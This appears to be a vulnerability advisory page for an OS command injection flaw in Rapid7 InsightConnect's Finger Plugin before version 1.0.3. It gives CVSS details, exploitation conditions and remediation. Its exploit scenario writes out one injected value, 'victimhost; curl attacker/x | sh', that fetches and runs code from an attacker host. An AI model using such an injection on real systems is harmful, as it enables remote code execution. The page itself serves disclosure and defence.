EUVD-2026-39159
GHSA-p5pq-c6vw-g6xp
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-reachable SOAR plugin exploitable by any authenticated low-priv user (PR:L) with no interaction; command injection yields full host C/I/A impact.
Primary rating from Vendor (rapid7).
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
8DescriptionNVD
OS Command Injection vulnerability in Rapid7 InsightConnect Finger Plugin on Linux allows authenticated attackers to execute arbitrary OS commands via the user or host parameters due to insufficient input validation in shell command construction.
AnalysisAI
OS command injection in Rapid7's InsightConnect Finger Plugin (versions prior to 1.0.3) on Linux lets an authenticated attacker run arbitrary operating-system commands by injecting shell metacharacters into the user or host parameters, which are passed unsanitized into a constructed shell command (CWE-78). Because the plugin executes within the InsightConnect SOAR orchestrator, successful exploitation yields full read/write and availability impact on the host running the plugin. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated InsightConnect account (CVSS PR:L) with the ability to invoke or configure the Finger Plugin and control the user or host parameter values that the plugin passes into shell command construction; the target plugin must be deployed on Linux and running a version below 1.0.3. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Signals are moderately consistent but point to a contained rather than mass-exploitation threat. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with valid but low-privileged InsightConnect access (or who has compromised such an account) triggers a workflow using the Finger Plugin and supplies a host or user value such as 'victimhost; curl attacker/x | sh', causing the orchestrator host to execute the injected command alongside the finger lookup. Given AV:N and AC:L, no special timing or user interaction is needed; no public proof-of-concept is currently identified, so an attacker would craft the injection from the documented parameter names. |
| Remediation | Upgrade the InsightConnect Finger Plugin to version 1.0.3 or later, the vendor-released fixed version per the Rapid7 extension listing (https://extensions.rapid7.com/extension/finger); a patch is available from the vendor. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory InsightConnect deployments on Linux and identify instances with Finger Plugin versions prior to 1.0.3; review access controls for InsightConnect user accounts. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today